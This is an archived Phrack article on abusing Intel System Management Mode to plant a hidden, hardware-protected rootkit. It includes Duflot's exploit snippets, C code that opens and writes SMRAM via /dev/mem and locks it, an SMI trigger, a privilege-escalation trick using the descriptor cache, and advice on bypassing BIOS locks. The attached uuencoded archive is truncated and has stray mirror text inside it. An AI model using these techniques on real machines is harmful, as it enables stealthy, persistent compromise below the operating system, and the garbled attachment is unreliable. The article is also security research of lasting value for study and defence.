💾 Archived View for aphrack.org › issues › phrack65 › 7.gmi captured on 2022-03-01 at 15:54:44. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x07 of 0x0f |=-----------------------------------------------------------------------=| |=-----------------=[ System Management Mode Hack ]=------------------=| |=-----------------=[ Using SMM for "Other Purposes" ]=------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=---------------=[ By BSDaemon ]=--------------=| |=---------------=[ <bsdaemon *noSPAM* risesecurity_org> ]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ coideloko ]=--------------=| |=---------------=[ <cdlk *noSPAM* kernelhacking_com>]=--------------=| |=---------------=[ ]=--------------=| |=---------------=[ D0nAnd0n ]=--------------=| |=---------------=[ <d0nand0n *noSPAM* kernelhacking.com>]=--------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ March 29 2008 ]=--------------------------=| |=-----------------------------------------------------------------------=| "Very nice! How much?" - Borat Sagdyiev ------[ Index 1 - Introduction 1.1 - Paper structure 2 - System Management Mode 2.1 - Pentium modes of operation 2.2 - SMM Overview 2.2.1 - SMRAM 2.2.2 - SMI Handler 2.2.3 - SMI Triggering 2.2.4 - Duflot discovery - Exploit 2.3 - Duflot misses 2.3.1 - PCI Configuration 2.3.2 - Why and when the system generates a SMI 2.4 - SMM Internals - Our first experiences 2.4.1 - Analysing the SMM registers 2.4.2 - SMM Details 3 - SMM for evil purposes 3.1 - Challenges 3.1.1 - Cache-originated overwrites 3.1.2 - SMM Locking 3.1.3 - Portability 3.1.4 - Address translation 3.2 - Copying our code in the SMM space 3.2.1 - Testing 3.2.2 - Descriptor caches 3.2.3 - Code relocation 4 - SMM Manipulation Library 5 - Future and other uses 6 - Acknowledgements 7 - References 8 - Sources - Implementation details ------[ 1 - Introduction This article will try to explain some details about the Intel Architecture [1] and how it can be manipulated by a malicious user to create a complete hardware-protected malware. Also, since the main focus of the article are the System Management Mode [1] features, we will go into details of the Duflot [2] study and beyond, showing how to create a stable system running inside the SMM [3]. It's important to mention that everything showed here is really processor-bridges-dependent (we are focusing on Intel processors [1]). Since inside the SMM a malware could manipulate the whole system memory, it can be used to modify kernel structures and create a powerful rootkit. ---[ 1.1 - Paper structure The idea of this paper is to complete the studies about SMM, explaning how to use it for evil purposes. For that, the paper have been structured in two important portions: Chapter 2 will give a basic knowledge of the Pentium modes of operation (needed to better understand the other portions of the chapter) and them will introduce what was the Duflot discoveries related to that. After that the chapter will explain what Duflot missed, explaining why the system behaves in the way that permits our uses, and introducing the SMM internals and our library to manipulate the SMM. Chapter 3 will explain how to use the SMM for evil purposes, explaning the challenges to use the SMM and giving pratical samples on the use of our library. ------[ 2 - System Management Mode From the Intel manuals [1]: "The Intel System Management Mode (SMM) is typically used to execute specific routines for power management. After entering SMM, various parts of a system can be shut down or disabled to minimize power consumption. SMM operates independently of other system software, and can be used for other purposes too." Everytime we read something like "and can be used for other purposes" we start to think: what the hell? What kind of other purposes? It's interesting that every single sample in the Internet just points to energy-related uses of the SMM, and says nothing about other purposes. In 2006, Duflot and others [2] released a paper about how to use the SMM to circumvent operating system protections. It was the first time that a misuse of the SMM was shown, and it gave some ideas (like how to put a code in SMM, how to manipulate the system memory inside SMM and how to force a system to enter the SMM), leaving open many questions that will be answered here (how to create a really stable code to subvert the SMM, how to manipulate the SMM registers, difficulties in create a stable system running inside the SMM and why the system behaves in the way he just said in the paper). ---[ 2.1 - Pentium modes of operation Everybody already knows about the modes of operation of the P6 family of processors. Real-mode is a 16-bit addressing mode, keept for legacy purposes and nowadays just used in the boot process. Protected mode is a 32-bit mode and provides the protection model used by the modern operation systems. The Virtual 8086 mode have been introduced to garantee greater efficiency when running programs created for older architectures (such as 8086 and 8088). The System Management Mode (SMM) is another mode of operation that, as already said, is supposed to be used to manage power functions. Volume 3 of the Intel processor manuals [1] already explained the acceptable transitions between those modes: ------------------- SMI (interrupt) |->|Real Address Mode| -------------------------------------------| | ------------------- <----------------------------------| | | | PE=1 ^ PE=0 (requires ring0) or |rsm or | | v | reset |reset V | ------------------- --------- reset | | Protected Mode | -------> SMI (interrupt) ------> | SMM Mode | | ------------------- <------- rsm instruction <------ --------- | | VM=1 ^ VM=0 | ^ | v | |rsm | | ------------------- <----------------------------------| | |- |Virtual 8086 Mode| -------------------------------------------| ------------------- SMI (interrupt) P.S.: PE and VM are flags of the CR0 (control register 0) Basically what we need to get from here is: - Any mode of operation in the intel platform can make a transition to the SMM mode if an SMI interrupt is issued. - SMM mode will return to the previous mode by issuing a rsm instruction (so the processor will read a saved-state to restore the system to the previous situation before enter the SMM). ---[ 2.2 - SMM Overview First of all, when the system enters the SMM mode, the whole processor context must be saved in a way so that it can be restored later. By doing so, the processor can enter in a special execution context and start executing the SMI handler. To return from this mode there is the special instruction RSM (can be used just inside the SMM itself) that will read the saved context and return to the previous situation). Also, in SMM the paging is disabled and you have a 16-bit mode of operation , but all physical memory can be addressed (more on this later). There are no restrictions to the I/O ports or memory, so we have the same privileges as in Ring 0 (in fact, from SMM someone can just manipulate all the system memory). What Duflot showed is a way to put your own SMI handler, force the processor to enter the SMM mode, change the system memory to bypass a security protection (in his case, the securelevel of an OpenBSD system) and then execute his own code changing the saved context to point to it. ---[ 2.2.1 - SMRAM The System Management Mode has a dedicated memory zone called SMRAM. It's located in the 0x1FFFF bytes starting at SMBASE (it may be bigger if the system activates Extented SMRAM). The default value of SMBASE is 0x30000, but since modern chipsets offer relocation, it's commonly seen as 0xA0000 (BIOS relocates it to the same memory-mapped base address used by the I/O ports of the video card). As spotted by Duflot, the memory controller hub has a control register called SMRAM Control Register that offers a bit (D_OPEN - bit 6) that, when it's set, makes all memory accesses to the address space starting at SMBASE be redirected to SMRAM. If the processor is not in the SMM mode and the D_OPEN bit is not set, all accesses to the SMRAM memory range are forwarded to the video card (when it have been relocated to the shared address as said) - giving a protection to the SMRAM, which we will use later to protect the malware). Else, if the D_OPEN bit is set, the memory addressed will be the SMRAM. Another important thing he showed concerning the handler is the bit number 4 (D_LCK) of the SMRAM Control Register, which, when set, protects the SMRAM control register and thus, the SMRAM memory itself, if the D_OPEN bit was not set at the time the control register was locked. To change it, the system needs to reboot (which gives us a challenge, since most modern BIOS will lock it). It's well detailed in the Intel Manuals, but the fact that a super-user could write to it using the video device and then force a SMI to be triggered was really new. When entering the SMM the processor will jump to the pysical address SMBASE+0x8000 (which means that the SMI handler must be located at the offset 0x8000 inside the SMRAM). Since when the D_OPEN bit is set we can put some code in the SMRAM, we just need to force an SMI trigger to get our code executed. ----------------- SMBASE+0x1FFFF | | | | | | | | SMBASE+0xFFFF ----------------- | | | State save area | | | SMBASE+0xFE00 ----------------- | | | Code,Heap,Stack | | | SMBASE+0x8000 ----------------- ----> First SMI Handler instruction | | | | | | SMBASE=0xA0000 ----------------- ---[ 2.2.2 - SMI handler Since we will set the D_OPEN bit we need some way to avoid the display usage, since all access to the video memory will be forwarded to SMRAM and not to the video card. Duflot does not explain how it is possible, since his sample was for OpenBSD and it assumed there was no one using the video card (he showed an exploit for an OpenBSD problem but as a requisite, there is no one using the X, for example). In our samples, we will also show how to manipulate the registers directly, but we will use the libpci [4] to guarantee no problems with this (since the libpci uses the system interfaces to manipulate the PCI subsystem avoiding race conditions in the resource usage). It's also more portable, because libpci as we will show supports a lot of different operating systems. So, to insert the handler the attacker needs to: - Verify if the D_LCK bit is not set - Set the D_OPEN bit - Have access to the memory address space (in the sample, 0xA0000-0xBFFFF) To access the memory we can just mmap the memory range using the /dev/mem device, because it provides access to the physical address space (instead of the virtual vision provided by the /dev/kmem for example). ---[ 2.2.3 - SMI Triggering Since the SMI signal is a hardware-generated interrupt there is no instruction to generate it by software. The chipset may generate it, but _when_ it does depends on the chipset [5][6]. Duflot also already explained in his paper the SMI_EN register, where the least significant bit is a global enable, specifying whether SMIs are enabled or not (the other bits of SMI_EN then control which devices can generate an SMI). The SMI_STS register keeps track of which device last caused an SMI. These registers can be accessed using the regular PCI mechanisms ("in" and "out"). The position of those register are variable, but they are in a relative address to PMBASE (SMI_EN=PMBASE+0x30 and SMI_STS=PMBASE+0x34). The PMBASE can be accessed using bus 0, device 0x1F, function 0 and offset 0x40. More details of the PCI configuration mechanisms in the section 2.3.1. ---[ 2.2.4 - Duflot discovery - Exploit In his paper Duflot & friends showed a working exploit against OpenBSD. This will be our first code to be analyzed (also attached with small modifications to work on Linux). As can be seen, the code will have problems if there is an X Server running ,since it just forwards all video memory access to the SMRAM. Since the Linux operating system (as most of unixes) provides a way to rise the I/O privilege level in the user-mode, the exploit is using that in a way it can use the instructions in/out: if(iopl(3) < 0) { To get access to the SMRAM, the D_OPEN bit must be set: outl(data1, 0xcf8); outl(data2, 0xcfc); Also here, we can easily see that, in the handler, it is doing the following: addr32 mov $test, %eax mov %eax, %cs:0xfff0 Here we have that the offset 0xfff0 is the saved EIP in the saved-state map inside the SMRAM. By doing so, it is just putting the address of a function in the saved-state map, so when the system triggers the rsm instruction it will return to protected mode, but now executing the test() function (the saved EIP). Duflot discovered that accessing the Programmed I/O Port 0xB2 with the bit 5 of SMI_EN set will generate an SMI: outl(0x0000000f, 0xb2); For sure it's really funny... but what else can be done with that? ---[ 2.3 - Duflot misses In his paper Duflot does not explain how the PCI Configuration really works (for example, he just pointed to use the port 0xCF8 for address and port 0xCFC to perform the operation itself). Also, he never said when and why the system generates a SMI. The idea of use the SMM to manipulate the system memory can also be really expanded, to create a malware running inside the SMM, or to bypass boot-protections and many others (like create a system protection mechanism running on it). The rest of this chapter and the next one will show many details about how the SMM works and what we can use inside the SMM. Also, will better explain how to analyse the system and create a portable library to manipulate the SMM-related registers. ---[ 2.3.1 - PCI Configuration The original PCI specification [11] defined two mechanisms for i386 PCs, but later specifications deprecated one of these ways. Since this specification is not free, we highly recommend you to read a book about that [12]. Basically, you have two I/O port ranges: one associated to the address port (0xCF8-0xCFB) and the other to the data port (0xCFC-0xCFF). To configure a device, you must write to the address port which device and register you want to access and then read/write the data from/to the data port. The rule about the format of the data written to the address port is as following: Bits Description 0..1 00b (always 0) 2..7 Which 32-bit space in the config space to access 8..10 Device function 11..15 Device Number A complete list of PCI vendors and devices can be found in [13]. PCI devices have an address which is broken down into a PCI-bus number, a device number within that bus (values 0-31), and a function number within the device (values 0-7). Since a single sample is more valuable, to access a register REG in the bus:device:function PCI space you will need to use the following address: 0x80000000L | ((bus & 0xFF) << 16) | ((((unsigned)device) & 0x1F) << 11) | ((((unsigned)func) & 0x07) << 8) | (REG & 0xFC); In each PCI device's configuration space there's normally one or more BARs (Base Address Registers), which can be used to set or find the address in physical memory or in I/O space of each resource the card uses. ---[ 2.3.2 - When and why the system generates a SMI All memory transactions (read/write memory access) from the CPU are placed on the host bus to be consumed by some device. Potentially the CPU itself would decode a range (of memory) such as the Local APIC range, and the transaction would be satisfied before needing to be placed on the external bus at all. If the CPU does not claim the transaction (don't decode), then it must be sent out. In a typical Intel architecture, the transaction would next be decoded by the MCH (Memory Controller Hub) and be either claimed as an address that the MCH owns, or it's determining based on decoders that the transaction is not owned by the MCH and thus should be forwarded on to the next possible device in the chain. If the memory controller does not find the address to be within actual DRAM, then it looks to see if it falls within one of the other I/O ranges it owns (ISA, EISA, PCI). Depending on how old the system is, the memory controller may directly decode PCI transactions (instead of pass that to the I/O bridges), for example. If the MCH determines that the transaction does not belong to it, the transaction will be forwarded down to whatever I/O bridge(s) may be present in the system. This process of decoding for ownership / response or forwarding down if not owned repeats until the system runs out of potential agents. The final outcome is either an agent claims the transaction and returns whatever data is present at the address, or no one claims the address and an abort occurs to the transaction, typically resulting in 0FFFFFFFFh data being returned. In some situations (Duflot paper's case), some addresses (for example those falling within the 0A0000h - 0BFFFFh range) are owned by two different devices (VGA frame buffer and system memory). This will force the architecture to send a SMI signal to satisfy the transaction. If no SMI is asserted, then the transaction is ultimately passed over by the memory controller, so that the VGA controller (if present) can claim it. If the SMI signal is asserted when the transaction is received by the memory controller, then the transaction will be forwarded to the DRAM unit for fetching the data from physical memory (executing our handler). ---[ 2.4 - SMM Internals - Our first experiences Here we will clarify some important details about SMM and how it works. This will be important to better understand the attached library. ---[ 2.4.1 - Analyzing the SMM registers Let's start by analyzing the SMM using libpci, so we can have more stability doing this. The following code is known to work fine in ICH5 and ICH3M controllers. --- code --- #include <stdio.h> #include <pci/pci.h> #include <sys/io.h> /* Defines - bit positions (will be used in more samples) */ #define D_OPEN_BIT (0x01 << 6) #define D_CLS_BIT (0x01 << 5) #define D_LCK_BIT (0x01 << 4) #define G_SMRAME_BIT (0x01 << 3) #define C_BASE_SEG2_BIT (0x01 << 2) #define C_BASE_SEG1_BIT (0x01 << 1) #define C_BASE_SEG0_BIT (0x01) /* Function to print SMRAM registers */ void show_smram(struct pci_dev* SMRAM) { u8 smram_value; /* Provided by libpci */ smram_value = pci_read_byte(SMRAM, SMRAM_OFFSET); if(smram_value & D_OPEN_BIT) { printf("D_OPEN_BIT: 1\n"); } else { printf("D_OPEN_BIT: 0\n"); } if(smram_value & D_CLS_BIT) { printf("D_CLS_BIT: 1\n"); } else { printf("D_CLS_BIT: 0\n"); } if(smram_value & D_LCK_BIT) { printf("D_LCK_BIT: 1\n"); } else { printf("D_LCK_BIT: 0\n"); } if(smram_value & G_SMRAME_BIT) { printf("G_SMRAME_BIT: 1\n"); } else { printf("G_SMRAME_BIT: 0\n"); } if(smram_value & C_BASE_SEG2_BIT) { printf("C_BASE_SEG2_BIT: 1\n"); } else { printf("C_BASE_SEG2_BIT: 0\n"); } if(smram_value & C_BASE_SEG1_BIT) { printf("C_BASE_SEG1_BIT: 1\n"); } else { printf("C_BASE_SEG1_BIT: 0\n"); } if(smram_value & C_BASE_SEG0_BIT) { printf("C_BASE_SEG0_BIT: 1\n"); } else { printf("C_BASE_SEG0_BIT: 0\n"); } printf("\n"); } int main(void) { struct pci_access *pacc; struct pci_dev *SMRAM; /* Provided by libpci */ pacc = pci_alloc(); pci_init(pacc); SMRAM = pci_get_dev(pacc, 0, 0, 0, 0); printf("Current status of SMRAM:\n"); show_smram(SMRAM); printf("Setting D_OPEN to 1\n"); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x4a); show_smram(SMRAM); printf("Locking SMRAM\n"); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x1a); show_smram(SMRAM); printf("Trying to set D_OPEN to 0\n"); pci_write_byte(SMRAM, SMRAM_OFFSET, 0x0a); show_smram(SMRAM); return 0; } --- end code --- Compile this using: gcc -o brazil_smm1 brazil_smm1.c -lpci -lz An execution sample: rrbranco:~/Phrack# ./brazil_smm1 Current status of SMRAM: D_OPEN_BIT: 0 D_CLS_BIT: 0 D_LCK_BIT: 0 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 Setting D_OPEN to 1 D_OPEN_BIT: 1 D_CLS_BIT: 0 D_LCK_BIT: 0 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 Locking SMRAM D_OPEN_BIT: 1 D_CLS_BIT: 0 D_LCK_BIT: 1 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 Trying to set D_OPEN to 0 D_OPEN_BIT: 1 D_CLS_BIT: 0 D_LCK_BIT: 1 G_SMRAME_BIT: 0 C_BASE_SEG2_BIT: 0 C_BASE_SEG1_BIT: 0 C_BASE_SEG0_BIT: 0 ---[ 2.4.2 - SMM Details When the processor enters the SMM mode it will signal an output pin, aSMIACT#, to notify the chipset that the processor is in the SMM. The SMI interrupt itself can be triggered anytime, except while the processor is already in SMM (of course). This will cause the SMM handler to be executed (as we already showed). Since the SMIACT# was noticed by the chipset, all further memory accesses will be redirected to the SMRAM protected memory. After that, the processor will start to save its internal state in the saved_state map area, inside the SMRAM. Then, the handler starts to execute. What is the current state? The processor is in a 'real mode', with all segments containing 4GB limit and being readable/writable. As said, to leave the SMM, the RSM instruction is issued by the handler, and then the processor reads the saved-state map again, performing just some checks on it (that's good) restoring the system to the previouas situation. SMM writes data in the saved-state map exactly in the same way as the stack does, from top to bottom beginning from the SMBASE register (thus, permiting relocation). It's important to keep this in mind when manipulating the saved-state map. If the system enters SMM by result of a halt or I/O instruction, the handler can tell the system to continue the execution after that or to enter the halt state just setting a flag in the saved-state map. Upon entrance in SMM the interrupts are disabled (including the asyncronous NMI (Non Maskable Interrupt) and INIT), and the IDT (interrupt description table) register keeps it's value. In order to service interrupts inside SMM (a motivation for that will be showed), one needs to setup an own interrupt vector [14] and reload the IDT with your new value, since the values contained in the old IDT are no longer valid in the address space used by SMM. After the STI instruction, the system start to receive some interrupts but will still miss the asyncronous ones. To enable that is needed to issue the IRET/IRETD instructions. The big concern about re-enabling interrupts inside the SMM handler is that if an NMI interrupt is received while inside the handler, it will be latched. So, potentially any verification done inside the SMM handler can be bypassed if someone hooked the NMI handler routine (this routine would be executed immediately after the RSM, before the processor starts executing the code pointed by the EIP in the saved-state map). During our tests, SMM relocation gave us some problems in older machines (pentium II/III). Also, we preferred to use those machines to test our things, since there is no SMM locking being done by the BIOS (generally saying, BIOS older than 2 years). Apparently, those older processors had a fixed CS value point to 0x30000 (the default SMM position - relocated by most of modern BIOS to 0xA0000 as we already said). If we enable interrupts inside the SMM, when an interrupt is invoked, it will save CS:IP in the stack for further return. But it will use the fixed value of CS (0x30000) instead of using the SMBASE value, not reflecting the right code segment that the SMM is actually using and, therefore, the code will return to the wrong location. Also, the Intel documentation mentions alignment problems in the SMBASE value in older processors (previously to PIV). ------[ 3 - SMM for evil purposes As already said, the SMM can be used to modify kernel internal structures. Here we will also show some challenges and other possible uses for a malware code running inside the SMM. ---[ 3.1 - Challenges ---[ 3.1.1 - Cache-originated overwrites When entering the SMM, the SMRAM may be overwritten by data in the cache if a #FLUSH occur after the SMM entrance. To avoid that we can shadow SMRAM over non-cacheable memory or assert #FLUSH simultaneously to #SMI events (#FLUSH will be served first). Most BIOS mark the SMRAM range as non-cacheable for us (and also locks it, since Duflot paper publication). ---[ 3.1.2 - SMM Locking Most BIOS manufacturers lock the SMM nowadays. When you are inserting a protecting mechanism using the SMM you can just replace the system BIOS for an open-source one (see LinuxBIOS [7]). When we are talking about malicious code, this cannot be done and some kind of BIOS patching must take place. This article is focusing in the SMM manipulation itself, but a good approach to bypass the BIOS protection is to use the TOP_SWAP [8] bit to execute our code before the original BIOS code and then load our SMM handler and lock it (this will prevent the original BIOS to overwrite our SMM handler). Basicaly this bit is used to define if the system will use the first 64K or the second one as area to load the BIOS from. Knowing that, someone can just set the TOP_SWAP bit, put own code in the second 64K area and in the code jump back to the original BIOS code. This code will be runned BEFORE the BIOS. The TOP_SWAP bit exists to provide a secure way to BIOS update - the BIOS code is copied to the second 64K, the TOP_SWAP bit is set, the update is done and an integrity check is performed - if there is anything that makes the system to reboot, it will restart in the second 64K which holds a copy of the original BIOS without any problems. ---[ 3.1.3 - Portability As said, the SMM is harware-dependent, more specifically it's ICH-dependent. The attached code is know to work in ICH5 and ICH3M, tested under Linux, but since it uses the libpci, it's supposed to work also in FreeBSD, NetBSD, OpenBSD (also tested on it), Solaris, Aix, GNU/Hurd and Windows). To provide support to other ICHs one must edit the libSMM.h header file to specify the correct location of the bus, device, function and offset and then be sure the PMBASE returned by the function get_pmbase() is right (comparing to the manuals). After that, verify if the SMRAM_OFFSET is correctly defined (you can get that in your I8xx manuals). If so, the bits in the SMRAM control register will be correctly showed (you can easily test it using the D_LCK bit, since when set will not permit any other bit to be manipulated). One can also test it using the dd command showed next in this article and the D_OPEN bit (use the open_smram function, write to the SMRAM memory mmap'ing it and then dump it to verify if it's working). ---[ 3.1.4 - Address translation Address translation is a great difficulty when we are inside our handler, since we need the value of the CR3 register (which we can get from the saved-state map) to manually parse the page tables and then perform the actual translation. Another approach is to just transfer the control back to our code in the same way that Duflot did, but we need to save the current processor status inside SMM, so after the execution of our code (after the SMM) we can transfer the control back to the process that was executing before triggering the SMI (else we would have some portions of the system just stopping to work after our malware get executed). This is not good... The best thing that we can do is just have a simple handler that gives the biggest privilege level of execution to the calling code (i.e. the code that was executing before the SMI) and then return. By doing so, we avoid to stay too much time in the SMM context and don't need to care about stopped OS processes. In the next sections we clarify how to put code in the SMM space, test it and then an approach using the descriptor caches to provide the above statement. ---[ 3.2 - Copying our code in the SMM space ---[ 3.2.1 - Testing So, the first step to put some code in the SMM is to open the SMRAM by setting the D_OPEN bit. --- code --- pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_OPEN_BIT)); --- end code --- To close it after we finish, we will use the following: --- code --- pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value & ~D_OPEN_BIT)); --- end code --- Also, after inserting our code, we want to lock SMRAM access, avoiding anyone from changing the SMM-related registers. --- code --- pci_write_byte(smram_dev, SMRAM_OFFSET, (current_value | D_LCK_BIT)); --- end code --- In order to get our code inserted in the SMRAM memory, we need to map it, in the same way we did in the exploit. --- code --- fd = open(MEMDEV, O_RDWR); if(fd < 0) { fprintf(stderr, "Opening %s failed, errno: %d\n", MEMDEV, errno); return -1; } vidmem = mmap(NULL, MAPPEDAREASIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, SMIINSTADDRESS); if(vidmem == MAP_FAILED) { fprintf(stderr, "Could not map memory area, errno: %d\n", errno); return -1; } close(fd); /* Here we are copying our code to the SMRAM memory */ if(vidmem != memcpy(vidmem, handler, endhandler-handler)) { fprintf(stderr, "Could not copy asm to memory...\n"); return -1; } if(munmap(vidmem, MAPPEDAREASIZE) < 0) { fprintf(stderr, "Could not release mapped area, errno: %d\n", errno); return -1; } --- end code --- It's a good idea to verify if it's working properly, and also make a previous copy of your SMRAM memory contents before that. So, let's do that using dd: dd if=/dev/mem of=my_smram bs=1 skip=`expr 655360 - 1` count=64K P.S.: 655360 is 0xa0000 in decimal (as spotted by Duflot, SMM is commonly relocated to that address instead 0x30000, as in the default case) ---[ 3.2.2 - Descriptor caches This idea worked in some system and not in some others, since the Intel documentation is not exactly clever about this subject. From the Intel manual: "Every segment register has a visible part and a hidden part (The hidden part is sometimes referred to as a descriptor cache or a shadow register). When a segment selector is loaded into the visible part of a segment register, the processor also loads the hidden part of the segment register with the base address, segment limit, and access control information from the segment descriptor pointed to by the segment selector." "Access control information" is refering to the well know xPL: - RPL -> Request privilege level - CPL -> Current privilege level - DPL -> Descriptor privilege level In the saved-state map inside the SMRAM, also according to the Intel manuals, are saved the descriptor caches and the CR4 register (the manual says it's not readable and write to this values will cause an "unpredictable behavior"). We found the following: TSS Descriptor Cache (12-bytes) - Offset: FFA7 IDT Descriptor Cache (12-bytes) - Offset: FF9B GDT Descriptor Cache (12-bytes) - Offset: FF8F LDT Descriptor Cache (12-bytes) - Offset: FF83 GS Descriptor Cache (12-bytes) - Offset: FF77 FS Descriptor Cache (12-bytes) - Offset: FF6B DS Descriptor Cache (12-bytes) - Offset: FF5F SS Descriptor Cache (12-bytes) - Offset: FF53 CS Descriptor Cache (12-bytes) - Offset: FF47 ES Descriptor Cache (12-bytes) - Offset: FF3B The saved-state map is stored at SMBASE + 0xFE00 to SMBASE + 0xFFFF. Modifying the DPL field of the SS descriptor cache from 3 to 0 gives ring0 power to our program (and a General Protection Fault in newer processors). ---[ 3.2.3 - Code relocation SMM has the ability to relocate its protected memory space. The SMBASE value saved in the state save map may be modified. This value is read during the RSM instruction. When SMM is next entered, the SMRAM will be located at this new address. From our SMM handler, in the saved-state map, we can modify this value (at offset 0xFEF8 from SMBASE). To perform that, we must care about CS adjustments inside our code. It can be used to relocate the SMRAM to memory area of our choosing and trick those who try to dump the SMRAM for analysis using the standard SMBASE values (anyway, since our malware is locking the SMM and clearing the D_OPEN bit, we don't need to use this technique). ------[ 4 - SMM Manipulation Library The SMM Manipulation Library attached in this article provides an easy way to create portable code to manipulate the SMRAM control register. It offers the following methods: u8 show_smram (struct pci_dev* smram_dev, u8 bits_to_show) It's used to test if specific bits are set or not The pci_dev structure are optional, NULL can be passed. u16 get_pmbase (void) Internally used by the library to manipulate the SMI-enablement. Exported by the function to turn easy to an external program verify the correct offsets for the SMI_EN and SMI_STS. u16 get_smi_en_iop (void) Return the location of the SMI_EN u16 get_smi_sts_iop (void) Return the location of the SMI_STS int enable_smi_gbl (u16 smi_en_iop) Enable SMI globally int disable_smi_gbl (u16 smi_en_iop) Disable SMI globally int enable_smi_on_apm (u16 smi_en_iop) Enable SMI on APM events int disable_smi_on_apm (u16 smi_en_iop) Disable SMI on APM events int open_smram(void) Open SMRAM for access (set D_OPEN bit) int close_smram(void) Close SMRAM for access (unset D_OPEN bit) int lock_smram(void) Lock the SMRAM (set D_LCK bit) void write_to_apm_cnt(void) Write to the APM CNT (generate a SMI) Also, the include file libSMM.h contains the valid values to be used to locate related registers and bit's for the SMM manipulation, like the device, function bus and offsets. It contains specify defines for interesting bits inside the SMRAM control register too, like the D_OPEN and the D_LCK. Attached to the article is also the file libSMM_test.c showing how to use the SMM Manipulation Library. This program will basically set and unset all control registers that will affect the SMM manipulation. It can be used to test if the library is working propertly in your hardware and since it will also test the D_LCK bit, one need to reboot after run this program. The evil.c code also attached will use the SMM Manipulation Library to insert a small SMM handler that freezes the processor. ------[ 5 - Future and other uses We can't foresee the future, but modern rootkits are becoming much more targeted, so this kind of deeper hackishs will start to be more widely seen. Also, with new platforms to BIOS enhancements, like the Extensible Firmware Interface, everything that depends on boot patching will be easier [9]. Another important thing to notice is the virtualization resources that exist nowadays and some possibilities of using them in implementations of hardware protected integrity-check systems [10]. ------[ 6 - Acknowledgments A lot of people helped us in the long way these researches that resulted in something funny to be published, you all know who you are. Special tks to twiz and the Phrack Staff for the great review of the article, giving a lot of important insights about how to better structure it and giving a real value to it. Finally, big tks to Julio Auto for the review of the article drafts. BSDaemon: Conference organizers who invited me to talk about protection mechanisms using SMM (yeah, a lot of fun in completely different cultures). To my girlfriend who waited for me (alone, I suppose) during this travels. RISE Security (http://www.risesecurity.org) for always keeping me motivated studying completely new things. ------[ 7 - References [1] - Intel Architecture Reference Manuals http://www.intel.com/products/processor/manuals/index.htm [2] - Loic Duflot, Daniel Etiemble, Olivier Grumelard, "Using CPU System Management Mode to Circumvent Operating System Security Functions" Proceedings of CanSecWest, 2006 [3] - Branco, Rodrigo Rubira, "KIDS - Kernel Intrusion Detection System" Hackers to Hackers Conference, 2007 [4] - LibPCI for Linux ftp://ftp.kernel.org/pub/software/utils/pciutils/ [5] - Intel 82801 BA-I/O Controler HUB (ICH2) Datasheet http://www.intel.com/design/chipsets/datashts/290687.htm [6] - Intel 82845 Memory Controler HUB (MCH) Datasheet http://www.intel.com/design/chipsets/datashts/290725.htm [7] - LinuxBIOS http://freshmeat.net/projects/linuxbios [8] - Bing, Sun, "BIOS Boot Hijacking By Using Intel ICHx "Top-Block Swap" Mode" XFocus Information Security Conference, 2007 [9] - Heasman, John, "Hacking the Extensible Firmware Interface" Blackhat Las Vegas Briefings, 2007 [10] - Branco, Rodrigo Rubira, "StMichael Project" http://stjude.sf.net [11] - PCI Specification http://www.pcisig.com [12] - Shanley, Tom; Anderson, Don; "PCI System Architecture" Mindshare Inc ISBN 0-201-30974-2 Publisher: Addison Wesley [13] - PCI Database http://www.pcidatabase.com [14] - devik & sd; "Linux on-the-fly kernel patching without LKM" Phrack 58 ------[ 8 - Sources - Implementation details [brazil_SMM.tgz] Attached a GPLed library that will help you to manipulate the SMM-related features, accompanied by some programs displaying sample usage. Further updates will be available in the StMichael project website, at: http://stjude.sf.net begin 644 brazil_SMM.tgz M'XL(`-M5[D<``^Q;VW+;2)+UZU3L1U3HI:4(FFWY.MU^HB3*XHY$JDG*;CUM M@$211!L$."A`,O?K]V1F%5#@Q9[9F-Z(B5C%],@B"EE9>3V9E9P5T7\GZ7]- M[NY^?O%G_;S"SX=W[^CW^8=WK\+?_N?%^:L/']Z\???Z_?OW+UZ=O_[PYLT+ M_>Y/XRCXJ6P9%5J_*&9%E,WSH^M^]/S?]&?6Z#]-9G^.#?SS^G_S[M7Y_^O_ M_^)G1_^WR=QDUOQK]R`%OW_[UNM[Y_?;-^=P=NC__5L8Q9L/KTG_[]^^>Z%? M_6O9./Q3ZS_/R^^M^]'S?].?O_Q%X^?3\$%_Z@_[X]ZMOG^XN!U<:OS7'T[Z M2A;@Y[,I;))G^G5'_V>5&7W^RR_G2NG+?+,MDN6JU*>79_CPK[]T^)&^+HS1 MDWQ1/D>%T==YE<51"0(=/<CF7:4/_[RC%Z/L:YID>E)V]'6R*%?Z.LWSHJ,O M<EL2@;N>UJ]>GY^_>GG^YM6YU@^3GM+])U-L<S"66+TQQ3HI2Q/K,M=S<*BC M+-9Q8LLBF56ET5@[`S=K>I@8JW2^T.4*;Z;B`#K.Y]7:9.``Z_5\%67+)%OJ MI"3R65[J*$WS9Q-W%23$(KHO3+2>I08RT=.5\92L7N2%7H-S;;TPZ+_8V&29 M"8=E]!4?/D=;O<VK0BT@N3A?TQ.[XO5@GEG`X<JNUA=;\)V5163!7XF]6'\F M,T64ZOMJAJV5\V1B-\E*D\6RU;**(-X2JJ&M]/>VHF?*\_SR)9:LB4];81EM M6A\'6]!:/BCgemini - kennedy.gemi.dev AZMKBS,I4N22*QJLZ8]:]%FDT+XM#G+AW5@VH:C&L/YR082 MS/@T4;;5.=XI]*;(ET6TUL^KG"A7Y2HO+*2TAAU@I:JLJ`\LG4[RM7&O'3/2 MUN'F.<P%XIMME1?V;8+`66SUD9,EF2U-%'?/M'[,*SV/,C[L5@LS+'K'L84& 